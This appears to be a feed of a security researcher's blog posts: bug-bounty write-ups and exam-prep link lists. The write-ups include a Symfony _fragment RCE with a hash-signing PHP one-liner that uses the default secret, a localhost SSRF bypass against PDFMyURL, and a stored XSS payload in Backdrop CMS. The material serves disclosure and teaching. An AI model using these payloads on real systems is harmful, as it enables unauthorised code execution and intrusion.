<pre><code class="lang-yaml"><span class="hljs-string">https://redacted.com/_fragment?_hash=&lt;generated-hash-here&gt;</span>
</code></pre>
<p>To my surprise, I no longer received the <strong>Access Denied</strong> error. Instead, I got a 404 status code, confirming that the hash I generated is valid. Now, it's time to dig deeper and see if I can achieve RCE now that I have access to the <strong>/_fragment</strong> endpoint.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1714850603360/5e067d65-b855-46f4-9bdf-3eab883c4908.webp" alt class="image--center mx-auto" /></p>
<p>I could smell the money raining from the sky, even though the RCE wasn't confirmed yet, my excitement almost got the best of me.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1714850855881/30732a43-7c71-4fdd-b295-5e0916416ec3.jpeg" alt class="image--center mx-auto" /></p>
<p>After regaining my composure, I had to continue progressing towards my main objective. Since we've verified the hash's validity, to exploit this, we must utilize the <code>path</code> parameter in conjunction with the controller, system function, and the desired command. Then, we follow the same steps as before to obtain a valid signature for the Exploit URL.</p>
<p>It basically sets the <code>_controller</code> value as the system function, and then executes the <code>id</code> command.</p>
<pre><code class="lang-yaml"><span class="hljs-string">_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull</span>
</code></pre>
<p>I then used PHP once more to generate a valid hash using the default secret for this URL.</p>
<pre><code class="lang-php">php -r <span class="hljs-string">"echo(urlencode(base64_encode(hash_hmac('sha256', 'https://redacted.com/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull', 'ThisTokenIsNotSoSecretChangeIt', 1))) . PHP_EOL);"</span>
</code></pre>
<p>I then opened the URL in my browser and, as the skilled hackers would say, BOOM! The RCE attack was successful. We can observe that we have effectively executed the <code>id</code> system command, and its output is displayed on the page.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1714851506853/4b66c51f-215d-4b65-b4f6-aba6f7d7feef.png" alt class="image--center mx-auto" /></p>
<p>This concludes your regularly scheduled programming. I hope this demonstrates that you don't need to use lots of tools, scanners, or random payloads to discover critical P1 vulnerabilities. Take the time to understand what you're dealing with, and search online for anything you need to know or don't understand. Remember, tools and scripts don't define the hacker; it's the hacker who creates the tools and scripts. Slow down, <strong><em>think like a hacker</em></strong>, tackle each challenge step by step, and utilize Google to learn about unfamiliar concepts. Hacking isn't about spraying and praying. It's a mindset that involves being curious and willing to learn something new, enabling you to manipulate systems to your advantage.</p>
<p>Until next time... <a class="user-mention" href="https://hashnode.com/@grumpz">Sergio Medeiros</a></p>
]]></content:encoded></item><item><title><![CDATA[Uncovering an SSRF Vulnerability in PDFMyURL Affecting Numerous Users]]></title><description><![CDATA[While enumerating the scope of a target on a private bug bounty program, I came across a subdomain used for generating PDF files. However, it seemed out-of-scope as they were simply white labeling a service called PDFMyURL, which lets you convert any...]]></description><link>https://grumpz.net/uncovering-an-ssrf-vulnerability-in-pdfmyurl-affecting-numerous-users</link><guid isPermaLink="true">https://grumpz.net/uncovering-an-ssrf-vulnerability-in-pdfmyurl-affecting-numerous-users</guid><category><![CDATA[bugbounty]]></category><category><![CDATA[hacking]]></category><category><![CDATA[owasp]]></category><category><![CDATA[CVE]]></category><category><![CDATA[hacker]]></category><category><![CDATA[bugbountytips]]></category><category><![CDATA[pentesting]]></category><category><![CDATA[penetration testing]]></category><category><![CDATA[Application Security]]></category><category><![CDATA[appsec]]></category><dc:creator><![CDATA[Sergio Medeiros]]></dc:creator><pubDate>Mon, 22 Apr 2024 00:03:57 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/uPXs5Vx5bIg/upload/3045f78b772d9b182eed3d3e47dbf8a0.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>While enumerating the scope of a target on a private bug bounty program, I came across a subdomain used for generating PDF files. However, it seemed out-of-scope as they were simply white labeling a service called <a target="_blank" href="https://pdfmyurl.com">PDFMyURL</a>, which lets you convert any URL or web page into a PDF.</p>
<p>I couldn't resist exploring the functionality to understand how their service operates. It's quite straightforward. By sending a simple POST request with a <strong>URL</strong> parameter and the relevant URL, the backend application will change the user-provided URL into a downloadable PDF file.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1713738782918/047bd49f-6a08-4fe2-9986-60bf58d85737.png" alt class="image--center mx-auto" /></p>
<p>Given that the web application sends requests to a specific location to generate a PDF file, I started testing the application to check for Server-side Request Forgery (SSRF) vulnerabilities. SSRF is a flaw that enables an attacker to make the server-side application send requests to unintended places. This could lead the server to connect to internal services that are meant to be accessed only within the organization's infrastructure.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1713742099138/d915719b-db91-49fa-ad17-d5c546633e8c.png" alt class="image--center mx-auto" /></p>
<p>After testing the application for Server-side Request Forgery (SSRF) vulnerabilities, I found that the security measures in place effectively blocked SSRF attacks. I attempted common bypass techniques using decimal and octal formats but was unsuccessful in my attempts.</p>
<p>I then tried using various IP variations within the <strong>127.0.0.0/8 CIDR range for localhost</strong>. In particular, I entered the URL <strong>http://127.127.127.127</strong> into the PDF generator. This allowed me to successfully bypass the security measures in place, enabling us to generate the PDF.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1713743150290/298d8476-4576-459a-91c6-42a999ef9f88.png" alt class="image--center mx-auto" /></p>
<p>As seen in the response section of BurpSuite in the screenshot above, our PDF was successfully generated. The title indicates <strong>(Apache2 Ubuntu Default Page: It works!)</strong>, confirming our ability to access the localhost of the underlying host. The application handled our localhost payload and displayed the output in the PDF file.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1714416752417/66a028b2-d532-4519-b8f3-55c82be5a0d6.jpeg" alt class="image--center mx-auto" /></p>
<p>And there we have it. We successfully created a simple yet effective payload that bypassed the SSRF security controls in place. This allowed us to exploit a full read SSRF by using the localhost CIDR range. It's a valuable lesson for beginners in bug bounty hunting: having a solid testing approach, working through challenges, and persisting until you reach your desired outcomes.</p>
<p>Further investigation revealed a widespread issue affecting numerous customers and thousands of users, leading to a pending CVE.</p>
<p>Remember, fellow hackers, keep exploring the digital realm, and hacking the planet.</p>
<p><a class="user-mention" href="https://hashnode.com/@grumpz">Sergio Medeiros</a></p>
]]></content:encoded></item><item><title><![CDATA[Hunting and Finding CVE-2023-31045]]></title><description><![CDATA[Since I began my journey of becoming a professional "hacker" and bug bounty hunter, I've always been fascinated by researchers who hunt and look for zero days in web applications. I've envied them, as I felt that having CVEs tied to your name as a se...]]></description><link>https://grumpz.net/hunting-and-finding-cve-2023-31045</link><guid isPermaLink="true">https://grumpz.net/hunting-and-finding-cve-2023-31045</guid><category><![CDATA[CVE]]></category><category><![CDATA[bugbounty]]></category><category><![CDATA[bugbountytips]]></category><category><![CDATA[XSS]]></category><category><![CDATA[cve-2023-31045]]></category><dc:creator><![CDATA[Sergio Medeiros]]></dc:creator><pubDate>Wed, 31 May 2023 21:58:29 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/J5yoGZLdpSI/upload/b6a75207b66aa7af698b18d0755d371e.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Since I began my journey of becoming a professional "hacker" and bug bounty hunter, I've always been fascinated by researchers who hunt and look for zero days in web applications. I've envied them, as I felt that having CVEs tied to your name as a security researcher is like a stamp of approval, a trophy, which formalizes you as a top-tier "hacker".</p>
<p>Finally, I'm proud to announce that I have successfully found a valid CVE that is tied to my name, though disputed by the vendor, I feel it is still an accomplishment, and caused them to roll out a new version 2 days later. This vulnerability is for version 1.24.1 and has been patched in their 1.24.2 release.</p>
<p>This is the story of hunting and finding <a target="_blank" href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-31045">CVE-2023-31045</a> in the <a target="_blank" href="https://backdropcms.org/">Backdrop CMS</a> application.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1685566834827/129845de-c8d1-4b15-9693-3ec9125ed05f.jpeg" alt class="image--center mx-auto" /></p>
<p>Given that this was my first time attempting to hunt for a 0-day, my thought process was to find an open-source project that is actively maintained by a community of developers, along with a decently sized user base of the target application. I felt that an open-source project will allow me to easily access the source code if a code review was required to identify a vulnerability. This led me down the path of Content Management Systems.</p>
<p>I ultimately found Backdrop CMS as a viable candidate that fit my ideal testing parameters. When I landed on the Backdrop CMS homepage, I found that I was able to spin up a <a target="_blank" href="https://backdropcms.org/demo">live demo</a> with their latest version directly from their site.</p>
<p>In doing so, I was able to authenticate as the Administrator user and began testing the functionality within the dashboard UI. I started by testing for Cross-Site Scripting (XSS) vulnerabilities in the user input fields.</p>
<p>The Backdrop CMS gives administrators the option to use various formatting editors within their CMS, for example, Raw HTML, or Filtered HTML formatting, along with adding custom formatting options, that you can select from a drop-down menu when you are publishing a blog post or any other content type.</p>
<p>After testing various input fields to see how the user input is sanitized by the application, I learned that the CMS is pretty secure for the most part as the application strips out most of the HTML tags, or event handlers that a user inputs. However, after some digging, I landed under the <strong>Text Editors and Formats</strong> functionality, by following the click path:</p>
<pre><code class="lang-yaml"><span class="hljs-string">Configuration</span> <span class="hljs-string">-&gt;</span> <span class="hljs-string">Content</span> <span class="hljs-string">Authoring</span> <span class="hljs-string">-&gt;</span> <span class="hljs-string">Text</span> <span class="hljs-string">Editors</span> <span class="hljs-string">and</span> <span class="hljs-string">Formats</span> <span class="hljs-string">-&gt;</span> <span class="hljs-string">Add</span> <span class="hljs-string">Text</span> <span class="hljs-string">Format</span>
</code></pre>
<p>I realized that if I input special characters, and event handlers in the <strong>Name</strong> input field when creating a new text format, none of the characters are stripped, and are stored in the application. Though I was not able to escape the filtering, and the payload was not processed or executed, I managed to complete the first step, which is bypassing the filtration of special characters and event handlers.</p>
<p>I inputted the following XSS payload which can be seen below:</p>
<pre><code class="lang-yaml"><span class="hljs-string">serg&lt;details/open/ontoggle=prompt(1337)&gt;</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1685568857097/e98d0755-c7b2-4d56-88ed-360a2d8dc4d3.png" alt class="image--center mx-auto" /></p>
<p>I started thinking in terms of "Second Order". Meaning, maybe the payload can be processed in a different part of the application. If you are unfamiliar with second-order injections, second-order XSS attacks involve the use of databases and occur when developers let attackers elevate input to the command level.</p>
<p>This led me to the <strong>Manage Content</strong> functionality. As an Administrator user, I followed the click path below:</p>
<pre><code class="lang-yaml"><span class="hljs-string">Content</span> <span class="hljs-string">-&gt;</span> <span class="hljs-string">Manage</span> <span class="hljs-string">Content</span>
</code></pre>
<p>This functionality allows you to create, edit, or delete different content types. For testing purposes, I decided to modify a default page, which was the "About" page. When editing, this brings you to a new dashboard, which allows you to make the appropriate changes. I quickly saw my opportunity to fire my stored XSS payload, when I saw the option "<strong>Formatting Options</strong>" under the "<strong>body</strong>" field. When you expand this box, you should now see three options to choose from, in the drop-down menu.</p>
<p>If we select the option, which is our stored XSS payload that we set earlier in the <strong>Text Editors and Formats</strong> section, we will see that the application processes and renders our malicious payload.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1685569656868/5500fcaf-c9f9-4d98-9c8f-5dbe32cb257a.png" alt class="image--center mx-auto" /></p>
<p>The developers forgot to sanitize the user input in the formatting options drop-down menu, which allowed us to execute our malicious JavaScript payload successfully.</p>
<p>I would like to give kudos to the Backdrop CMS Security team, as they responded to my email informing them about the vulnerability in less than 24 hours, and rolled out a patch/updated version of Backdrop CMS in 48 hours. Though they dispute this vulnerability, as they state the Administrator user can control the HTML with the application, the failure to sanitize user input in a drop-down menu that executes a stored XSS payload, still creates an impactful attack vector for attackers looking to exploit the Backdrop CMS application.</p>
<p>Nevertheless, I am proud of this accomplishment, though I wish it was a more advanced attack chain, however, there are more opportunities in the future!</p>
<p>If you have any questions, please do not hesitate to DM me on Twitter at GRuMPzsux</p>
<p><a class="user-mention" href="https://hashnode.com/@grumpz">Sergio Medeiros</a></p>
]]></content:encoded></item><item><title><![CDATA[Pass the eWPTXv2 Exam on Your First Attempt in 2023!]]></title><description><![CDATA[Finally! As promised, I am sharing my tips and tricks on how to pass the eWPTXv2 exam by INE and eLearnSecurity on your first attempt, using nothing but free resources. This exam is by far the hardest exam that I have taken to date, and I thought it ...]]></description><link>https://grumpz.net/pass-the-ewptxv2-exam-on-your-first-attempt-in-2023</link><guid isPermaLink="true">https://grumpz.net/pass-the-ewptxv2-exam-on-your-first-attempt-in-2023</guid><category><![CDATA[hacking]]></category><category><![CDATA[bugbounty]]></category><category><![CDATA[bugbountytips]]></category><category><![CDATA[eWPT]]></category><category><![CDATA[ewptx]]></category><dc:creator><![CDATA[Sergio Medeiros]]></dc:creator><pubDate>Wed, 31 May 2023 05:53:35 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/zvHhKiVuR9M/upload/f65d2a6592f6b0ddaf803bcdc59c73af.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Finally! As promised, I am sharing my tips and tricks on how to pass the eWPTXv2 exam by INE and eLearnSecurity on your first attempt, using nothing but free resources. This exam is by far the hardest exam that I have taken to date, and I thought it would be the one that ends my streak when it comes to passing certification exams on my first pass. But.. I did it.</p>
<p>But of course, if you'd like proof, here it is: <a target="_blank" href="https://verified.elearnsecurity.com/certificates/a7cdc42b-bb12-4e72-bdfe-96105864d55e">https://verified.elearnsecurity.com/certificates/a7cdc42b-bb12-4e72-bdfe-96105864d55e</a></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1685505528988/20ab6a6d-00c9-4b5f-80fd-0ea3642c8ef2.jpeg" alt class="image--center mx-auto" /></p>
<p>All jokes aside, if you struggled through the eWPT exam, then you are not ready for the eWPTXv2 exam. In my opinion, INE/eLS should have created a certification in-between the eWPT and eWPTX given the degree of difficulty. If you struggle with Java Deserialization RCEs, Server Side Template Injections, PHP Object Injections, advanced SQLmap usage or the ability to chain vulnerabilities together, then you may want to hit the labs. I suggest being comfortable in reading code, along with being able to write simple scripts with a focus on PHP! ;) However, don't fret! I am outlining the resources I used to prepare, and some of the vulnerabilities to anticipate for your journey ahead.</p>
<p>Also, I am available on Twitter <a target="_blank" href="https://twitter.com/grumpzsux">@grumpzsux</a> if you have any questions, please feel free to shoot me a DM.</p>
<p><strong>However, I will NOT be giving out any answers! If I had to feel the pain and sleep in a puddle of my own tears in the fetal position, you shall too!</strong></p>
<p>Let's get this party started.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1685506476367/b6d66a2b-9dbd-4941-b10c-a4492d4c8f9b.jpeg" alt class="image--center mx-auto" /></p>
<h3 id="heading-master-the-art-of-the-following-vulnerabilities">Master the Art of The Following Vulnerabilities:</h3>
<p><strong><mark>PHP Object Injection</mark></strong></p>
<ul>
<li><p><a target="_blank" href="https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-arbitrary-object-injection-in-php">https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-arbitrary-object-injection-in-php</a></p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-objects">https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-objects</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/PHP.md#object-injection">https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/PHP.md#object-injection</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/watch?v=KuqeNLTphR0">https://www.youtube.com/watch?v=KuqeNLTphR0</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/watch?v=HaW15aMzBUM">https://www.youtube.com/watch?v=HaW15aMzBUM</a></p>
</li>
</ul>
<p><strong><mark>Java Deserialization</mark></strong></p>
<ul>
<li><p><a target="_blank" href="https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-java-deserialization-with-apache-commons">https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-java-deserialization-with-apache-commons</a></p>
</li>
<li><p><a target="_blank" href="https://www.n00py.io/2017/11/exploiting-blind-java-deserialization-with-burp-and-ysoserial/">https://www.n00py.io/2017/11/exploiting-blind-java-deserialization-with-burp-and-ysoserial/</a></p>
</li>
<li><p><a target="_blank" href="https://securitycafe.ro/2017/11/03/tricking-java-serialization-for-a-treat/">https://securitycafe.ro/2017/11/03/tricking-java-serialization-for-a-treat/</a></p>
</li>
<li><p><a target="_blank" href="https://blog.afine.com/testing-and-exploiting-java-deserialization-in-2021-e762f3e43ca2">https://blog.afine.com/testing-and-exploiting-java-deserialization-in-2021-e762f3e43ca2</a></p>
</li>
</ul>
<p><strong><mark>Server Side Template Injection (SSTI)</mark></strong></p>
<ul>
<li><p><a target="_blank" href="https://redfoxsec.com/blog/server-side-template-injection/">https://redfoxsec.com/blog/server-side-template-injection/</a></p>
</li>
<li><p><a target="_blank" href="https://ajinabraham.com/blog/server-side-template-injection-in-tornado">https://ajinabraham.com/blog/server-side-template-injection-in-tornado</a></p>
</li>
<li><p><a target="_blank" href="https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection">https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection</a></p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic-code-context">https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic-code-context</a></p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic">https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic</a></p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-using-documentation">https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-using-documentation</a></p>
</li>
</ul>
<p><strong><mark>Server Side Request Forgery (SSRF)</mark></strong></p>
<ul>
<li><p><a target="_blank" href="https://www.prplbx.com/resources/blog/ssrf-guide/">https://www.prplbx.com/resources/blog/ssrf-guide/</a></p>
</li>
<li><p><a target="_blank" href="https://nira.com/server-side-request-forgery-ssrf-attacks/">https://nira.com/server-side-request-forgery-ssrf-attacks/</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/watch?v=eVI0Ny5cZ2c">https://www.youtube.com/watch?v=eVI0Ny5cZ2c</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/watch?v=Ku6CK3Aes8Y">https://www.youtube.com/watch?v=Ku6CK3Aes8Y</a></p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost">https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost</a></p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-backend-system">https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-backend-system</a></p>
</li>
</ul>
<p><strong><mark>Second Order SQL Injection</mark></strong></p>
<ul>
<li><p><a target="_blank" href="https://offensive360.com/second-order-sql-injection-attack/">https://offensive360.com/second-order-sql-injection-attack/</a></p>
</li>
<li><p><a target="_blank" href="https://infosecwriteups.com/the-wrath-of-second-order-sql-injection-c9338a51c6d">https://infosecwriteups.com/the-wrath-of-second-order-sql-injection-c9338a51c6d</a></p>
</li>
<li><p><a target="_blank" href="https://www.varutra.com/second-order-sql-injection-attack/">https://www.varutra.com/second-order-sql-injection-attack/</a></p>
</li>
</ul>
<blockquote>
<p><strong>Note</strong>: <em>please do not depend on SQLmap for each SQL injection that you find, not all of them can be exploited using SQLmap, and you may need to exploit them manually. In this case, be sure that you understand why you are using special characters like</em> <code>'</code> <em>or</em> <code>#</code> <em>when testing manually. ;)</em></p>
</blockquote>
<p><strong><mark>Anti-CSRF Token Bypass using SQLmap</mark></strong></p>
<ul>
<li><p><a target="_blank" href="https://forum.hackthebox.com/t/bypassing-web-application-protections-sqlmap-essentials/267869">https://forum.hackthebox.com/t/bypassing-web-application-protections-sqlmap-essentials/267869</a></p>
</li>
<li><p><a target="_blank" href="https://neutronsec.com/tools/sqlmap/bypassing_web_protections/">https://neutronsec.com/tools/sqlmap/bypassing_web_protections/</a></p>
</li>
</ul>
<p><strong><mark>Out-of-Band (OOB) XML eXternal Entity Injection</mark></strong></p>
<ul>
<li><p><a target="_blank" href="https://shreyapohekar.com/blogs/blind-xxe-attacks-out-of-band-interaction-techniques-oast-to-exfilterate-data/">https://shreyapohekar.com/blogs/blind-xxe-attacks-out-of-band-interaction-techniques-oast-to-exfilterate-data/</a></p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-interaction">https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-interaction</a></p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-interaction-using-parameter-entities">https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-interaction-using-parameter-entities</a></p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-exfiltration">https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-exfiltration</a></p>
</li>
</ul>
<p><strong><mark>Host Header Injection</mark></strong></p>
<ul>
<li><p><a target="_blank" href="https://portswigger.net/web-security/host-header/exploiting">https://portswigger.net/web-security/host-header/exploiting</a></p>
</li>
<li><p><a target="_blank" href="https://www.secuneus.com/host-header-injection/">https://www.secuneus.com/host-header-injection/</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/daffainfo/AllAboutBugBounty/blob/master/Host%20Header%20Injection.md">https://github.com/daffainfo/AllAboutBugBounty/blob/master/Host%20Header%20Injection.md</a></p>
</li>
</ul>
<p><strong><mark>De-Obfuscate JavaScript Code</mark></strong></p>
<ul>
<li><p><a target="_blank" href="https://stackoverflow.com/questions/12921713/de-obfuscate-javascript-code-to-make-it-readable-again">https://stackoverflow.com/questions/12921713/de-obfuscate-javascript-code-to-make-it-readable-again</a></p>
</li>
<li><p><a target="_blank" href="http://jsbeautifier.org/">http://jsbeautifier.org/</a></p>
</li>
</ul>
<p><strong><mark>PHP Coding Resources</mark></strong></p>
<ul>
<li><p><a target="_blank" href="https://www.w3schools.com/php/php_looping_for.asp">https://www.w3schools.com/php/php_looping_for.asp</a></p>
</li>
<li><p><a target="_blank" href="https://www.php.net/manual/en/function.openssl-encrypt.php">https://www.php.net/manual/en/function.openssl-encrypt.php</a></p>
</li>
<li><p><a target="_blank" href="https://www.w3schools.com/php/php_if_else.asp">https://www.w3schools.com/php/php_if_else.asp</a></p>
</li>
</ul>
<p><strong><mark>Stored Cross Site Scripting (SXSS) </mark></strong> <em><mark>&lt;-- assuming you're 31337 already</mark></em><br /><strong><mark>Reflected Cross Site Scripting (RXSS) </mark></strong> <em><mark>&lt;-- assuming you're 31337 already</mark></em><br /><strong><mark>Time-Based SQL Injection (SQLi) </mark></strong> <em><mark>&lt;-- assuming you're 31337 already</mark></em></p>
<p>Just to finish this article off, please ensure that your enumeration through each phase of the cyber kill chain is diligent. Don't be afraid to dig deep, checking for hidden directories, subdomains, and endpoints that can be used to craft attack chains. <strong>Just because you find one vulnerability, don't stop there, see if there is a way to chain that vulnerability to another vulnerability to create a more impactful attack chain.</strong> ;)</p>
<p>I feel that this exam is worth doing if you are going to focus on web applications, I feel the attack chains are modern, and not as out dated compared to the eWPT exam. Given that I triage reports for a living at Synack, I am exposed to web app vulnerabilities all day, and it aligns fairly well compared to what is being submitted currently.</p>
<blockquote>
<p>Critical thinking is what will make you successful.</p>
</blockquote>
<p>Good luck my fellow nerds. - <a class="user-mention" href="https://hashnode.com/@grumpz">Sergio Medeiros</a></p>
]]></content:encoded></item><item><title><![CDATA[Pass The eWPT Exam in 2023 Using Free Resources on Your First Attempt!]]></title><description><![CDATA[I began my journey pursuing a cyber security career professionally about a year ago, with the focus on obtaining only hands-on practical certifications with the intent to pivot careers after a decade-long run in Sales. Currently, I have obtained the ...]]></description><link>https://grumpz.net/pass-the-ewpt-exam-in-2023-using-free-resources-on-your-first-attempt</link><guid isPermaLink="true">https://grumpz.net/pass-the-ewpt-exam-in-2023-using-free-resources-on-your-first-attempt</guid><category><![CDATA[hacking]]></category><category><![CDATA[Security]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[CyberSec]]></category><category><![CDATA[infosec]]></category><dc:creator><![CDATA[Sergio Medeiros]]></dc:creator><pubDate>Tue, 13 Dec 2022 08:35:48 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1670915424068/qn6UkOr_q.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I began my journey pursuing a cyber security career professionally about a year ago, with the focus on obtaining only hands-on practical certifications with the intent to pivot careers after a decade-long run in Sales. Currently, I have obtained the eJPT, eCPPTv2, eWPT and eWPTXv2 certifications, and work on the Vulnerability Operations team at Synack.</p>
<p>With that being said, I wanted to talk through my journey on how I managed to pass the eWPT exam on my first try, without using any of the INE resources.</p>
<p><strong>Yes, it can be done! How bad do you want it?</strong></p>
<p><em>(proof of my certification, if you need to be convinced, lul.)</em><br /><a target="_blank" href="https://verified.elearnsecurity.com/certificates/a6f33825-769e-49ba-b8f5-b12aeac81c6f"><em>https://verified.elearnsecurity.com/certificates/a6f33825-769e-49ba-b8f5-b12aeac81c6f</em></a></p>
<p><img src="https://i.imgflip.com/744krv.jpg" alt="ewpt-exam-notes" /></p>
<p>First, let's start with the obvious if you have completed your eJPT, or even your eCPPTv2 certifications, you may find this certification challenging if you have not sharpened your skillset for pentesting web applications. If you are not comfortable with exploiting Boolean Blind, Error Based, and Time Based SQL Injections, or testing for Reflected and Stored Cross Site Scripting vulnerabilities, along with detailed professional report writing, I highly suggest you follow the material I list below.</p>
<p>To summarize the tasks that you need to complete during the exam, you will need to show that you can access a restricted Admin area of the web application. However, just being able to do so is not sufficient to pass. You will need to treat this exam as if you were hired by the client, audit every asset owned by the client, and report every vulnerability that you found, including informational findings that may be valuable to the client. (I did!)</p>
<p>I enjoy providing value to this community, and the best way I can do that is by providing the resources I used to study that helped me pass the exam on my first attempt. I highly suggest that you use this article as your bible when preparing to take the eWPT exam.</p>
<p><em>Side Note: Please do</em> <strong><em>NOT</em></strong> <em>reach out to me if you think I will give you the answers for the exam. I felt the pain, you will feel the pain too. Don't be lazy. If you reach out looking for answers on the exam, this isn't the industry for you. Don't be a n00b.</em></p>
<p>Buckle up buckaroos! Let's get this party started!</p>
<h3 id="heading-cross-scripting-resources">Cross Scripting Resources</h3>
<p><strong>Reflected XSS</strong></p>
<ul>
<li><p><a target="_blank" href="https://portswigger.net/web-security/cross-site-scripting/reflected">https://portswigger.net/web-security/cross-site-scripting/reflected</a></p>
</li>
<li><p><a target="_blank" href="https://brightsec.com/blog/cross-site-scripting-xss/">https://brightsec.com/blog/cross-site-scripting-xss/</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/watch?v=k4lUX55uNM0">https://www.youtube.com/watch?v=k4lUX55uNM0</a></p>
</li>
<li><p><a target="_blank" href="https://public-firing-range.appspot.com/reflected/index.html">https://public-firing-range.appspot.com/reflected/index.html</a> (free labs!)</p>
</li>
</ul>
<p><strong>Stored/Persistent XSS</strong></p>
<ul>
<li><p><a target="_blank" href="https://portswigger.net/web-security/cross-site-scripting/stored">https://portswigger.net/web-security/cross-site-scripting/stored</a></p>
</li>
<li><p><a target="_blank" href="https://www.thesslstore.com/blog/the-ultimate-guide-to-stored-xss-attacks/">https://www.thesslstore.com/blog/the-ultimate-guide-to-stored-xss-attacks/</a></p>
</li>
<li><p><a target="_blank" href="https://www.exploit-db.com/docs/english/18895-complete-cross-site-scripting-walkthrough.pdf">https://www.exploit-db.com/docs/english/18895-complete-cross-site-scripting-walkthrough.pdf</a></p>
</li>
<li><p><a target="_blank" href="https://www.cobalt.io/blog/a-pentesters-guide-to-cross-site-scripting-xss">https://www.cobalt.io/blog/a-pentesters-guide-to-cross-site-scripting-xss</a></p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded">https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded</a> (lab!)</p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/cross-site-scripting/stored/lab-html-context-nothing-encoded">https://portswigger.net/web-security/cross-site-scripting/stored/lab-html-context-nothing-encoded</a> (lab!)</p>
</li>
</ul>
<h3 id="heading-sql-injection-resources">SQL Injection Resources</h3>
<p><em>Remember.. SQLmap is your best friend when exploiting these vulnerabilities. The</em> <strong><em>-r</em></strong> <em>switch goes a long way! ;-)</em></p>
<ul>
<li><p><a target="_blank" href="https://github.com/sqlmapproject/sqlmap">https://github.com/sqlmapproject/sqlmap</a></p>
</li>
<li><p><a target="_blank" href="https://dl.packetstormsecurity.net/papers/cheatsheets/sqlmap-cheatsheet-1.0-SDB.pdf">https://dl.packetstormsecurity.net/papers/cheatsheets/sqlmap-cheatsheet-1.0-SDB.pdf</a></p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/sql-injection">https://portswigger.net/web-security/sql-injection</a></p>
</li>
<li><p><a target="_blank" href="https://hippidikki.wordpress.com/2018/07/12/using-sqlmap-on-a-soap-request/">https://hippidikki.wordpress.com/2018/07/12/using-sqlmap-on-a-soap-request/</a></p>
</li>
</ul>
<p><strong>Boolean Blind SQL Injection</strong></p>
<ul>
